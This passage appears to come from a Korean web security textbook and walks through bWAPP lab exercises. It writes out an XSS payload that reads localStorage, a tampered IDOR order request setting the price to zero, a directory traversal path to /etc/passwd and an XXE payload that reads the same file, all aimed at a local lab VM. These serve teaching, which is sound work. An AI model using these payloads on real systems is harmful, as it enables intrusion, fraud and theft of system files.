크로스 사이트 스크립팅 공격을 시도해보기 위해 bWAPP 메뉴중 A3의 Cross Site Scripting - Reflected(GET) 메뉴를 선택하고 크로스 사이트 스크립팅 취약점 실습 페이지(즉, 크로스 사이트 스크립팅 취약점이 존재하는 페이지)를 요청합니다.

그림 9-3-4크로스 사이트 스크립팅 취약점이 존재하는 페이지

First name을 입력하는 부분에 다음과 같은 자바스크립트 코드를 입력합니다.

<script>alert('secret: ' + localStorage.getItem('secret'))</script>

localStorage.getItem() 자바스크립트 함수를 이용하면 로컬 스토리지에 저장되어 있는 내용을 읽을 수 있습니다. 해당 함수의 인자로 'secret'을 입력함으로써 secret 키의 값을 읽을 수 있습니다. 그리고 alert() 함수를 사용했기 때문에 다음과 같이 secret 키의 값이 팝업창을 통해 표시됩니다.

그림 9-3-5크로스 사이트 스크립팅에 의해 시크릿이 노출된다.

크로스 사이트 스크립팅 공격으로 로컬 스토리지 데이터에 접근할 수 있다는 것을 확인했습니다.

참고이 실습에서는 간단히 alert() 함수를 사용했지만, 실제 상황에서는 공격자가 자기가 원하는 자바스크립트 코드를 실행하여 시크릿 값을 탈취해내는 것이 가능합니다.

평문으로 된 패스워드 노출 실습

초기의 웹사이트들은 회원 가입된 사용자의 로그인 정보를 데이터베이스에 평문으로 저장하는 경우가 자주 있었습니다. 최근에는 이러한 사례를 찾아보기 힘들지만, 그렇다고 해서 전혀 없다고도 할 수 없습니다.

최근에 한 웹사이트의 패스워드가 기억나지 않아, 패스워드를 다시 확인하는 기능을 사용한 적이 있습니다. 그런데 놀랍게도 이메일로 저의 원래 패스워드가 평문 그대로 포함되어 전달되는 것이었습니다. 이 말은 그 웹사이트가 제 패스워드를 알고 있다는 뜻인데, 다시 말하면 그 웹사이트는 패스워드를 평문으로 저장하고 있음을 나타냅니다. 아직까지도 이러한 사이트가 있다는 사실에 놀랐습니다.

보안이 고려된 사이트의 경우 패스워드 분실 신고를 하면, 원래의 패스워드를 알려 주는 것이 아니라(패스워드를 암호화하여 저장하는 메커니즘을 제대로 구현한다면, 절대로 웹 애플리케이션이나 시스템 운영자가 사용자의 패스워드를 알아낼 수가 없습니다.), 임시로 사용할 수 있는 패스워드를 발급하여 주거나, 그렇지 않으면 패스워드를 초기화할 수 있는 방법을 제공하여 사용자가 패스워드를 새로 설정할 수 있도록 해줍니다.

bWAPP의 Text Files(Accoounts) 메뉴를 이용하여 해당 사례를 살펴보겠습니다.

실습목표

회원 등록을 통해 추가된 사용자 패스워드가 평 문으로 노출되는 상황을 확인해 봅니다.

그림 9-4-1평문으로 패스워드를 저장하는 실습 페이지

이 실습 페이지는 회원 가입 페이지를 간단하게 구현해놓은 것입니다. Username과 Password에 각각 사용자 이름과 패스워드를 입력하고 Insert(추가) 버튼을 누릅니다.

그림 9-4-2회원 가입 신청을 한다.

계정이 추가되었다는 메시지가 출력됩니다. 실무에서는 일어나서는 안 될 일이지만, 실습이기 때문에 계정 정보가 저장된 파일을 우리가 다운로드 해볼 수 있습니다. 아래의 다운로드(Download the file) 링크를 누르면, 사용자가 정보를 관리하는 파일의 내용을 확인할 수 있습니다.

그림 9-4-3평문으로 저장되어 있는 패스워드

문제는 '1234', 'test'와 같은 패스워드가 평문으로 노출되고 있다는 점입니다. 이렇게 되면, 이 파일에 접근할 수 있는 시스템 운영자나 내부 직원, 그렇지 않으면 다른 공격을 이용하여 내부로 침투한 공격자에게 고스란히 사용자 패스워드 정보를 알려주게 됩니다.

많은 웹사이트 사용자들이 동일한 패스워드를 여러 사이트에서 사용하고 있습니다. 따라서 패스워드가 노출되면 패스워드가 노출된 웹사이트뿐만 아니라, 동일한 패스워드를 사용하고 있는 다른 사이트의 개인정보까지 위험에 노출될 수 있습니다.

Base64 인코딩

패스워드와 같은 민감한 데이터를 단지 평문에서 알아보기 힘든 문자열로만 변경하는 것은 보안에 전혀 도움이 되지 않습니다. 종종 개발자가 실수하는 것 중 하나는 Base64 인코딩을 한 문자열이 안전하다고 생각하는 것입니다.

Base64 인코딩이란 이진 데이터를 아스키 덱스트 문자열로 변환하는 방법을 말합니다. Base64 인코딩은 대표적으로 전자우편이나 HTTP 메시지를 전송할 때 사용하는데, 파일 전송과 같이 텍스트로 표현할 수 없는 바이너리 데이터를 전송할 때 Base64로 인코딩하여 전송하게 됩니다.

Base64 인코딩의 과정은 각각 8비트로 구성된 3개의 바이트를 6비트씩 쪼개어 4개로 나누는 방식으로 진행됩니다. 다음 예는 WWW 라는 문자열을 Base64 인코딩하여 V1dX 라는 문자열로 변환하는 과정을 보여줍니다. 인코딩 전에는 동일한 문자로 구성된 문자열이었는데 Base64 인코딩 이후의 문자열은 다르게 구성됩니다.

바이트 문자 W W W
아스키 값 (10진수) 87 87 87
비트 표현 0 1 0 1 0 1 1 1 0 1 0 1 0 1 1 1 0 1 0 1 0 1 1 1
6비트로 분류 0 1 0 1 0 1 1 1 0 1 0 1 0 1 1 1 0 1 0 1 0 1 1 1
6비트의 10진수 21 53 29 23
Base64 인코딩 V 1 d X

우선 각 문자를 아스키 값으로 변환합니다. W 문자의 아스키 값은 87입니다.

제어 문자표 열기

제어할 때 쓰는 코드이다. 아직도 Serial 통신(RS-232, UART, USART...)이 적용된 곳에는 많이 사용되고 있다.

이진법 팔진법 십진법 십육진법 약자 설명 한국어 설명
000 0000 000 0 00 NUL Null Character 널 문자
000 0001 001 1 01 SOH Start of Header 헤더 시작
000 0010 002 2 02 STX Start of Text 본문 시작, 헤더 종료
000 0011 003 3 03 ETX End of Text 본문 종료
000 0100 004 4 04 EOT End of Transmission 전송 종료, 데이터 링크 초기화
000 0101 005 5 05 ENQ Enquiry 응답 요구
000 0110 006 6 06 ACK Acknowledgment 긍정응답
000 0111 007 7 07 BEL Bell 경고음
000 1000 010 8 08 BS Backspace 백스페이스
000 1001 011 9 09 HT Horizontal Tab 수평 탭
000 1010 012 10 0A LF Line feed 개행
000 1011 013 11 0B VT Vertical Tab 수직 탭
000 1100 014 12 0C FF Form feed 다음 페이지
000 1101 015 13 0D CR Carriage return 복귀
000 1110 016 14 0E SO Shift Out 확장문자 시작
000 1111 017 15 0F SI Shift In 확장문자 종료
001 0000 020 16 10 DLE Data Link Escape 전송 제어 확장
001 0001 021 17 11 DC1 Device Control 1 장치 제어 1
001 0010 022 18 12 DC2 Device Control 2 장치 제어 2
001 0011 023 19 13 DC3 Device Control 3 장치 제어 3
001 0100 024 20 14 DC4 Device Control 4 장치 제어 4
001 0101 025 21 15 NAK Negative Acknowledgement 부정응답
001 0110 026 22 16 SYN Synchronous idle 동기
001 0111 027 23 17 ETB End of Transmission Block 전송블록 종료
001 1000 030 24 18 CAN Cancel 무시
001 1001 031 25 19 EM End of Medium 매체 종료
001 1010 032 26 1A SUB Substitute 치환
001 1011 033 27 1B ESC Escape 제어기능 추가
001 1100 034 28 1C FS File Separator 파일경계 할당
001 1101 035 29 1D GS Group Separator 레코드 그룹경계 할당
001 1110 036 30 1E RS Record Separator 레코드 경계 할당
001 1111 037 31 1F US Unit Separator 장치 경계 할당
111 1111 177 127 7F DEL Delete 삭제
출력 가능 아스키 문자표 열기
이진법 팔진법 십진법 십육진법 모양 85진법 (아스키 85)
010 0000 040 32 20
010 0001 041 33 21 ! 0
010 0010 042 34 22 " 1
010 0011 043 35 23 # 2
010 0100 044 36 24 $ 3
010 0101 045 37 25 % 4
010 0110 046 38 26 & 5
010 0111 047 39 27 ' 6
010 1000 050 40 28 ( 7
010 1001 051 41 29 ) 8
010 1010 052 42 2A * 9
010 1011 053 43 2B + 10
010 1100 054 44 2C , 11
010 1101 055 45 2D - 12
010 1110 056 46 2E . 13
010 1111 057 47 2F / 14
011 0000 060 48 30 0 15
011 0001 061 49 31 1 16
011 0010 062 50 32 2 17
011 0011 063 51 33 3 18
011 0100 064 52 34 4 19
011 0101 065 53 35 5 20
011 0110 066 54 36 6 21
011 0111 067 55 37 7 22
011 1000 070 56 38 8 23
011 1001 071 57 39 9 24
011 1010 072 58 3A : 25
011 1011 073 59 3B ; 26
011 1100 074 60 3C < 27
011 1101 075 61 3D = 28
011 1110 076 62 3E > 29
011 1111 077 63 3F ? 30
100 0000 100 64 40 @ 31
100 0001 101 65 41 A 32
100 0010 102 66 42 B 33
100 0011 103 67 43 C 34
100 0100 104 68 44 D 35
100 0101 105 69 45 E 36
100 0110 106 70 46 F 37
100 0111 107 71 47 G 38
100 1000 110 72 48 H 39
100 1001 111 73 49 I 40
100 1010 112 74 4A J 41
100 1011 113 75 4B K 42
100 1100 114 76 4C L 43
100 1101 115 77 4D M 44
100 1110 116 78 4E N 45
100 1111 117 79 4F O 46
101 0000 120 80 50 P 47
101 0001 121 81 51 Q 48
101 0010 122 82 52 R 49
101 0011 123 83 53 S 50
101 0100 124 84 54 T 51
101 0101 125 85 55 U 52
101 0110 126 86 56 V 53
101 0111 127 87 57 W 54
101 1000 130 88 58 X 55
101 1001 131 89 59 Y 56
101 1010 132 90 5A Z 57
101 1011 133 91 5B [ 58
101 1100 134 92 5C \ 59
101 1101 135 93 5D ] 60
101 1110 136 94 5E ^ 61
101 1111 137 95 5F _ 62
110 0000 140 96 60 ` 63
110 0001 141 97 61 a 64
110 0010 142 98 62 b 65
110 0011 143 99 63 c 66
110 0100 144 100 64 d 67
110 0101 145 101 65 e 68
110 0110 146 102 66 f 69
110 0111 147 103 67 g 70
110 1000 150 104 68 h 71
110 1001 151 105 69 i 72
110 1010 152 106 6A j 73
110 1011 153 107 6B k 74
110 1100 154 108 6C l 75
110 1101 155 109 6D m 76
110 1110 156 110 6E n 77
110 1111 157 111 6F o 78
111 0000 160 112 70 p 79
111 0001 161 113 71 q 80
111 0010 162 114 72 r 81
111 0011 163 115 73 s 82
111 0100 164 116 74 t 83
111 0101 165 117 75 u
111 0110 166 118 76 v
111 0111 167 119 77 w
111 1000 170 120 78 x
111 1001 171 121 79 y
111 1010 172 122 7A z
111 1011 173 123 7B {
111 1100 174 124 7C |
111 1101 175 125 7D }
111 1110 176 126 7E ~

87을 2진수 8비트로 표현하면 01010111이 됩니다. W가 3개이므로 01010111 01010111 01010111과 같이 붙여 쓰면 총 24비트가 되는데 이것을 6비트씩 4개로 나눕니다. 그렇게 얻은 6비트를 각각 10진수로 변환하면 21, 53, 29, 23이 됩니다. 각각을 인덱스로 하여 아래 Base64 인코딩 테이블로부터 해당하는 값을 찾으면 V, 1, d, X가 됩니다.

Base64 색인표
문자 문자 문자 문자
0 A 16 Q 32 g 48 w
1 B 17 R 33 h 49 x
2 C 18 S 34 i 50 y
3 D 19 T 35 j 51 z
4 E 20 U 36 k 52 0
5 F 21 V 37 l 53 1
6 G 22 W 38 m 54 2
7 H 23 X 39 n 55 3
8 I 24 Y 40 o 56 4
9 J 25 Z 41 p 57 5
10 K 26 a 42 q 58 6
11 L 27 b 43 r 59 7
12 M 28 c 44 s 60 8
13 N 29 d 45 t 61 9
14 O 30 e 46 u 62 +
15 P 31 f 47 v 63 /

Base64 디코딩은 이 과정을 반대로 진행하면 됩니다. 이 과정의 설명은 생략하겠습니다.

리눅스 터미널에서는 base64 명령어를 이용하여 간단하게 Base64 인코딩과 디코딩을 할 수 있습니다. 아무런 옵션을 주지 않으면 인코딩을 수행하고 -d 옵션을 사용하면 디코딩을 수행합니다. 다음은 base64 명령어로 디코딩한 것을 보여줍니다.

그림 9-5-1터미널에서 base64 명령어로 디코딩할 수 있다.

이와 같이 Base64 인코딩 된 문자열은 평문으로 표시되지 않더라도, 쉽게 디코딩 되어 원래의 문자열로 변환될 수 있습니다.

bWAPP에서의 예제를 통해 실습을 좀 더 진행해 보겠습니다.

실습목표

Base64 인코딩이 되어 전달되는 쿠키의 내용을 버프 스위트의 디코더 기능을 이용하여 확인해 봅니다.

A6 그룹아래의 Base64 Encoding (Secret) 메뉴를 열어 실습 페이지에 접속합니다.

그림 9-5-2Base64 인코딩 실습 페이지

실습 페이지에 출력된 내용은 다음과 같습니다.

시크릿이 암호화된 쿠키에 저장되었습니다.
힌트 : 복호화를 시도해 보세요.

버프 스위트 프록시 히스토리 기능을 실행해두고 실습 페이지에서 새로 고침을 하면 쿠키 헤더에 secret 쿠키가 추가되어 전송됩니다. 참고로 처음 실습 페이지를 요청할 때 secret 쿠키가 Set-cookie 헤더를 통해 전달되어 쿠키가 추가되기 때문에, 이후 새로 고침 등으로 다시 요청해야만 secret 쿠키가 표시됩니다.

그림 9-5-3Base64 인코딩된 값을 가진 secret 쿠키가 추가되었다.

이때 secret 쿠키의 값을 보면 QW55IGJ1Z3M%2F와 같이 Base64 인코딩 된 문자열이 표시되어 있습니다. Base64 인코딩된 문자열은 디코더 기능을 이용하면 간단하게 디코딩할 수 있습니다. 그림 9-5-3과 같이 디코딩하고자 하는 secret 쿠키의 값 전체를 마우스로 선택한 후 마우스 우클릭 메뉴 중에서 Send to Decoder (디코더로 전송) 메뉴를 선택합니다.

그림 9-5-4선택된 문자열을 디코더 기능으로 보낸다.

이제 디코더 탭으로 가면 디코더로 보낸 문자열이 표시됩니다. 화면 오른쪽에 Decode as 라고 표시되어 있는 메뉴에서 Base64를 선택하면 base64 디코딩이 되는데, 이때 secret 쿠키 값의 마지막에 있는 %2F는 /가 URL 인코딩된 것으로 base64 디코딩 전에 /문자로 변경해준 다음 디코딩을 실행합니다.

그림 9-5-5디코더 기능을 이용하여 Base64 인코딩을 쉽게 디코딩할 수 있다.

그 결과 Any bugs? 라는 시크릿을 확인할 수 있게 되었습니다.

이 밖에도 디코더 기능과 메뉴들을 살펴보면 다양한 인코딩 방식이 있는 것을 알 수 있습니다. Base64 인코딩과 더불어 각종 인코딩 방식은 언제든지 쉽게 다시 디코딩 될 수 있는 방식이며 암호화와 구분되어야 합니다. 인코딩으로 원본 데이터가 다른 문자열로 변환되었다고 해서 적절한 암호화를 하지 않는다면 해당 데이터는 보안에 취약하게 됩니다.

접근 통제 취약점 공격

접근 통제가 제대로 이루어지지 않으면 공격자는 다른 사용자나 관리자 권한이 필요한 리소스에 접근할 수 있게 됩니다.

취약한 접근 통제 리스크의 사례는 다음과 같습니다.

  • URL이나 파라미터를 조작하여 다른 사용자의 리소스에 접근하거나 허용되지 않은 기능을 실행할 수 있는 경우
  • 적절한 인증 인가 과정을 거치지 않고 관리자 페이지에 접근할 수 있는 경우
  • 디렉터리 트래버설 취약점과 같이 웹 디렉터리 경로를 벗어난 호스트 내부경로의 리소스에 접근할 수 있는 경우

안전하지 않은 직접 객체 참조(IDOR 공격)

안전하지 않은 직접 객체 참조(Insecure Direct Object Reference)는 IDOR 공격이라고 나타내기도 합니다. 공격자가 요청 메시지의 URL이나 파라미터를 변경하여 정상적으로는 허용되지 않은 기능을 실행하거나 다른 사용자의 리소스에 접근할 수 있는 공격입니다. 웹 애플리케이션 사용자가 항상 웹을 통해 제공되는 메뉴대로만 웹 애플리케이션을 사용할 것이라고 생각하고, 서버 쪽으로 입력값 검증을 소홀히 한다면 IDOR에 취약해지는 경우가 많습니다.

공격자는 항상 메시지의 어떤 부분이든 마음대로 변경할 수 있다는 것을 항상 염두에 두어야 합니다.

그림 10-2-1IDOR 공격

한가지 예로 그림 10-2-1은 공격자가 쇼핑몰에서 물건을 주문할 때의 과정을 간단하게 보여주고 있습니다. 물품의 가격이 클라이언트(예. 자바스크립트 등으로 계산한 가격)에서 요청 메시지를 통해 전달되고, 이에 대한 검증이 서버 쪽으로 수행되지 않는 경우, 공격자는 가격을 자신이 원하는 대로 변경하여 물건을 주문할 수 있게 됩니다.

실습목표

버프 스위트의 인터셉트 기능을 이용하여 POST 요청의 바디 부분에 전달되는 파라미터를 조작하여 물건의 가격을 변경해 봅니다.

그림 10-2-2IDOR 실습 페이지

이 실습 페이지는 극장 예매 사이트에서 티켓을 구매하는 페이지를 간단하게 구현 한것 입니다. 페이지의 내용은 다음과 같습니다.

영화 티켓 몇 장을 구매하시겠습니까? (티켓 가격 15유로)
티켓을 1(사용자 입력)장 주문합니다.
                                            

사용자 입력란에 티켓 개수를 입력하고 Confirm 버튼을 누르면 입력한 개수만큼 티켓을 주문하는 페이지입니다. 주목할 점은 티켓의 가격은 15유로로 정해져 있고 사용자가 웹 페이지를 통해 변경할 수는 없습니다.

티켓 한 장을 주문해 보면서 버프 스위트의 인터셉트 기능을 이용하여 티켓 주문을 할 때 전달되는 요청 메시지를 확인해 보겠습니다. 프록시 탭-인터셉트 탭으로 이동하여 인터셉트 기능을 활성화하고, 웹 페이지에서 다시 Confirm 버튼을 눌러 요청을 인터셉트 합니다.

그림 10-2-3티켓 한 장을 주문해본다.

티켓 한 장을 주문해 보면서 버프 스위트의 인터셉트 기능을 이용하여 티켓 주문을 할 때 전달되는 요청 메시지를 확인해 보겠습니다. 프록시 탭-인터셉트 탭으로 이동하여 인터셉트 기능을 활성화하고, 웹 페이지에서 다시 Confirm 버튼을 눌러 요청을 인터셉트합니다.

그림 10-2-4티켓 주문 시 요청 메시지를 인터셉트한다.

요청 메시지의 바디를 보면, ticket_quantity, ticket_price, action 파라미터가 각각 전달되고 있습니다. ticket_quantity 파라미터는 구매하고자 하는 티켓의 양, ticket_price 파라미터는 티켓의 가격임을 추측할 수 있습니다. 웹 페이지에서는 사용자가 티켓 가격을 변경할 수 없도록 되어 있었지만, ticket_price 파라미터를 통해 티켓 가격 정보가 전달되고 있습니다.

이 경우, 만약 ticket_price 파라미터의 값을 0으로 변경하여 티켓 가격이 0유로인 것처럼 조작하면 어떻게 될까요? 이왕 변경하는 김에 ticket_quantity 파라미터의 값도 1000으로 변경하여 티켓을 공짜로 1000장 주문해 보겠습니다. 인터셉트되어 있는 요청 메시지의 바디에서 ticket_quantity 파라미터와 ticket_price 파라미터의 값을 다음과 같이 각각 1000, 0으로 변경합니다.

POST /bWAPP/insecure_direct_object_ref_2.php HTTP/1.1
Host: 192.168.75.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.75.131/bWAPP/insecure_direct_object_ref_2.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Cookie: PHPSESSID=6f74834d3b9053944f06a53eed291b1b; security_level=0
Connection: close
Upgrade-Insecure-Requests: 1

ticket_quantity=1000&ticket_price=0&action=order

그런 다음 Forward 버튼을 눌러 요청을 전송합니다.

그림 10-2-5IDOR 공격으로 티켓을 공짜로 주문할 수 있다.

1000장 주문에 성공했습니다. 전체 가격은 0유로로 표시됩니다. 파라미터를 조작하믕로써 웹 애플리케이션의 기능을 악용할 수 있음을 실습해 보았습니다.

관리자 페이지 인증 우회

취약한 접근 통제 리스크의 또 다른 사례는 관리자 페이지의 URL을 직접 요청할 때 발생할 수 있습니다. 종종 관리자 페이지는 admin, admin.php, admin.jsp 등과 같은 URL로 되어 있어 쉽게 추측할 수 있는 경우가 많습니다. 언급한 URL 외에도 manager, system 등의 URL로 되어 있을 수 있습니다.

정상적인 웹 애플리케이션의 경우 사용자가 이러한 관리자 페이지에 접근하면 해당 사용자가 관리자 권한이 있는 확인해야 할 것입니다. 그러나 종종 로그인하지 않은 사용자조차도 관리자 페이지의 URL만 알게 되면, 관리자 메뉴에 접근하여 웹사이트의 각종 정보를 획득할 수 있거나, 관리 기능을 실행할 수 있어서 웹사이트에 심각한 영향을 끼칠 수 있는 경우가 있습니다.

실습목표

관리자 URL을 직접 요청하여 관리자 메뉴에 접속해 봅니다.

bWAPP의 다음 URL을 웹 브라우저의 주소창에 직접 입력하여 접속해 봅니다. 혹시 로그인되어 있다면 로그아웃한 다음에 접속해 봅니다.

http://192.168.75.131/bWapp/admin

그림 10-3-1bWAPP의 관리자 포털 페이지

단순히 URL을 추측하여 입력함으로써(정보 수집 과정에서 관리자 URL 경로를 알수 있는 경우도 종종 있습니다.) 관리자 페이지에 접근하고 몇 가지 정보를 알아낼 수 있게 되었습니다. 이 실습에서는 노출된 정보가 크게 중요한 정보는 아니지만, 실제 운영되는 웹 애플리케이션의 관리자 메뉴에는 심각한 위험을 초래하는 관리 기능과 중요한 정보들이 있을 수 있습니다.

그리고 추가로 말하면, 관리자 페이지나 웹 애플리케이션에 영향을 줄 수 있는 페이지가 반드시 관리자 페이지의 형태로 나타나는 것은 아닙니다. 일례로 설치 과정에서 사용되는 URL에도 특별히 주의를 기울여야 합니다. DVWA의 경우, /dvwa/setup.php URL로 접속하면 로그인을 하지 않더라도 누구나 데이터베이스를 초기화할 수 있습니다. 만일 실제 운영 중인 웹사이트에서 이런 상황이 발생한다면 데이터베이스 초기화에 의해 중요한 데이터가 손실되거나 불필요한 시스템 정보를 노출시킬지도 모르는 일입니다.

그림 10-3-2DVWA SETUP 페이지 접근

디렉터리 트래버설 취약점 공격 실습

웹 애플리케이션의 파라미터 중에는 파일 경로를 그 값으로 지정하는 파라미터가 존재할 수 있습니다. 이 경우 공격자는 해당 파일의 경로를 조작하여 개발자가 의도하지 않은 경로에 있는 파일이 지정되도록 시도하기도 합니다. 11장의 LFI 사례도 해당됩니다.

리눅스 운영체제에서 ../(윈도우의 경우 ..\) 문자열은 파일 경로를 지정할 때 사용되면 상위 디렉터리의 경로를 지정하게 됩니다. 디렉터리 트래버설 취약점은 파일 경로를 지정하는 파라미터의 값으로 이러한 ../ 문자열의 입력을 허용함으로써 발생하는 취약점입니다. ../ 문자열을 허용하면 ../../../와 같이 반복적으로 입력하는 것도 허용될 수 있습니다. 이를 이용하면 공격자가 ../../../etc/와 같은 방법으로 루트 디렉터리를 거쳐 다른 디렉터리를 지정할 수 있게 되므로 호스트 내부의 모든 파일에 접근하는 것이 가능해집니다.

실습목표

디렉터리 트래버설 공격으로 호스트 내부 파일의 내용을 확인해 봅니다.

그림 10-4-1디렉터리 트래버설 공격 실습 페이지. page 파라미터에 주목해보자.

실습 페이지의 URL을 보면 page 파라미터에 message.txt가 지정되어 전달되고 있습니다.

bWAPP/directory_traversal_1.php?page=message.txt

이 실습 페이지는 page 파라미터에 지정된 파일인 message.txt 파일의 내용을 웹 페이지에 출력해주는 페이지입니다.

message.txt에 직접 접근해보면 그림 10-4-1에 표시된 Try to climb higher Spidy...이라는 문자열이 동일하게 표시되는 것을 확인할 수 있습니다.

그림 10-4-2실습 페이지에 표시된 내용은 message.txt의 내용이다.

이런 경우, 만일 page 파라미터를 다른 파일로 지정하면 어떻게 될까요? 다른 파일의 내용이 웹 페이지를 통해 출력될 가능성이 있습니다. 또한 디렉터리 트래버설 공격이 가능하다면 웹 디렉터리 경로 밖의 호스트 내부 파일의 내용도 읽을 수 있습니다.

../../../ 등을 이용하여 다음과 같이 page 파라미터의 내용을 변경한 후 요청해 봅니다.

bWAPP/directory_traversal_1.php?page=../../../etc/passwd

그림 10-4-3/etc/passwd 파일의 내용이 출력된다.

etc/passwd 파일의 내용이 출력되었습니다. 디렉터리 트래버설 공격을 이용하여 호스트 내부 파일에 접근할 수 있습니다.

XXE(XML 외부 엔티티) 공격

XXE 취약점은 OWASP Top 10 2017에 새롭게 선정된 취약점이지만 OWASP Top 10 2013 기준으로 분류하면 접근 통게 관련 취약점의 일부로 볼 수 있습니다. XXE 취약점이 새로운 트렌드로 최근 몇년간 많이 보고되었기 때문에 별도의 항목으로 새로 선정되었습니다.

그림 11-1-1대형 벤더사에서 많이 발견되고 있다. (2018년 초 기준)

그림 11-1-1은 최근 CVE ID가 등록된 XXE 관련 취약점들을 보여주고 있는데, 특히 IBM과 시스코 등 대형 벤더의 제품에서도 많이 발견되고 있습니다.

XXE 공격 개요

XXE(XML eXternal Entity) 취약점은 XML 타입의 데이터가 웹 요청을 통해 전송되고, 서버에서 XML 외부 엔티티를 처리할 수 있도록 설정된 경우 나타날 수 있습니다. 사용자가 웹 애플리케이션으로로 전달되는 XML 데이터를 직접 업로드하거나 수정할 수 있는 경우, 공격자는 외부 엔티티를 찾오하는 XML 데이터를 전송하여 파일과 같은 서버 내부의 정보를 탈취하거나 서비스 거부 공격, SSRF 등의 공격을 수행할 수 있습니다.

그림 11-2-1XXE 공격

XML 외부 엔티티는 다음과 같은 형태로 선언됩니다.

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file///etc/passwd">
]>

이 예를 살펴보면 먼저 DOCTYPE 선언을 한 다음 ENTITY 태그를 이용하여 xxe 라는 외부 엔티티를 선언하고 있습니다. 선언된 외부 엔티티는 프로그래밍을 할 때 변수를 참조하는 것처럼 XML 내부에서 참조할 수 있습니다. 즉 xxe 엔티티를 참조하면, xxe의 값인 SYSTEM 키워드로 지정된 /etc/passwd 파일을 참조하게 됩니다. 이 예제에서는 file:// 을 사용하여 호스트 내부의 파일을 참조하도록 했지만 file:// 대신 http:// 를 사용하여 외부 리소스를 참조하는 것도 가능합니다.

XXE 공격 실습

실습목표

버프 스위트의 리피터 기능을 이용하여 XXE 공격을 수행하고 /etc/passwd 파일의 내용을 출력해 봅니다.

bAWPP의 A7 그룹에서 XXE 실습 메뉴를 선택합니다.

그림 11-3-1XXE 공격

실습 페이지에는 Any Bug? 버튼이 있습니다. 이 버튼을 누르면 사용자의 시크릿이 버튼에 표시된 문자열로 초기화되는 기능이 구현되어 있습니다.

버프 스위트를 실행하고, 웹 브라우저의 프록시 설정을 해둔 상태(인터셉트 기능 끔)에서 Any Bug? 라는 버튼을 눌러 이때 요청되는 웹 요청 메시지를 확인해 봅니다. 버프 스위트 프록시 히스토리 기능에서 전송된 요청을 확인할 수 있습니다.

그림 11-3-2버프 스위트로 XXE 실습 페이지에서 전송된 요청을 확인한다.

/bWAPP/xxe-2.php 요청 메시지의 내용을 보면 다음과 같습니다.

POST /bWAPP/xxe-2.php HTTP/1.1
Host: 192.168.75.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.75.131/bWAPP/xxe-1.php
Content-type: text/xml; charset=UTF-8
Content-Length: 59
Cookie: PHPSESSID=fbe9e17ba67a531ee21a624a479025b6; security_level=0
Connection: close

<reset><login>bee</login><secret>Any bugs?</secret></reset>

요청 메시지의 Content-Type 헤더가 text/xml 타입으로 설정되어 있고 바디 부분에는 XML 형태의 데이터가 전송되고 있습니다. XXE 취약점 공격은 이와 같이 XML이 전송되는 부분을 통해 이루어집니다.

XML 요청에 대한 응답으로 전송된 응답 메시지는 다음과 같이 표시됩니다.

HTTP/1.1 200 OK
Date: Sat, 29 Sep 2018 01:23:47 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.4-2ubuntu5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 28
Connection: close
Content-Type: text/html

bee's secret has been reset!

다른 부분에서는 크게 이상한 점을 찾아볼 수 없지만, 요청 메시지의 XML 데이터 중에서 <login></login> 사이에 전송된 bee 문자열이 bee's secret has been reset! 형태로 나타난 것을 주목해 봅니다. bee 대신 다른 문자열로 변경해보면 어떨까요?

XML을 수정하며 테스트해보기 위해 리피터로 해당 요청을 전달합니다. 프록시 히스토리 화면에서 해당 요청 항목을 마우스 우클릭하여 리피터로 전달할 수 있습니다.

그림 11-3-3버프 리피터에서 <login> 태그 값 변경 후 전송

요청 메시지의 <login> 태그 안에 있는 bee 문자열을 임의로 변경해 봅니다. bee를 aaa로 변경하여 요청을 보냈더니, 응답 메시지도 aaa로 되돌아오는 것이 확인 됩니다. <login> 태그로 전달된 값이 응답 메시지에 나타나고 있는 것을 알 수 있습니다. 이 사실을 통해 서버가 XML을 처리하고 있다는 것을 추측할 수 있습니다.

만일 웹 애플리케이션이 외부 엔티티 사용을 허용하도록 설정되어 있다면, 우리는 다음과 같이 웹 서버 내부의 /etc/passwd 파일을 지정하는 외부 엔티티를 선언하고 <login> 태그의 값으로 해당 외부 엔티티를 참조함으로써, /etc/passwd 파일의 내용을 알아낼 수 있습니다.

<!DOCTYPE XXE [
<!ENTITY XXE SYSTEM "file///etc/passwd">
]>
<reset><login>&XXE</login><secret>Any bugs?</secret></reset>

이 내용을 요청 메시지의 바디 부분에 입력하고 요청을 전송합니다.

그림 11-3-4XXE 공격에 의해 사용자 정보가 노출된다.

그림 11-3-4와 같이 <login> 태그에서 참조한 외부 엔티티인 /etc/passwd 파일의 내용이 출력되었습니다.

알려진 취약점을 이용한 공격

최근의 개발 환경 추세에서는 수많은 개발 프로젝트들이 오픈소스 라이브러리(dependency, 의존 라이브러리)를 직간접적으로 사용하고 있습니다. 프로젝트에 포함되는 오픈소스 라이브러리의 수도 계속해서 늘고 있는데, 오픈소스에서 발생하는 대부분의 취약점은 CVE 데이터베이스를 통해 공개됩니다. 꼭 오픈소스가 아니더라도 상용 소프트웨어의 경우에도 알려진 취약점이 존재할 수 있습니다.

공격자는 CVE 데이터베이스를 통해 알려진 취약점에 대한 정보를 쉽게 찾고 공격에 사용합니다. 공격 대상이나 사용하는 라이브러리 소프트웨어의 버전 정보만 알면 쉽게 어떤 취약점이 있는지 알 수 있기 때문에, 알려진 취약점을 잘 패치하는 것은 필수적인 일입니다.

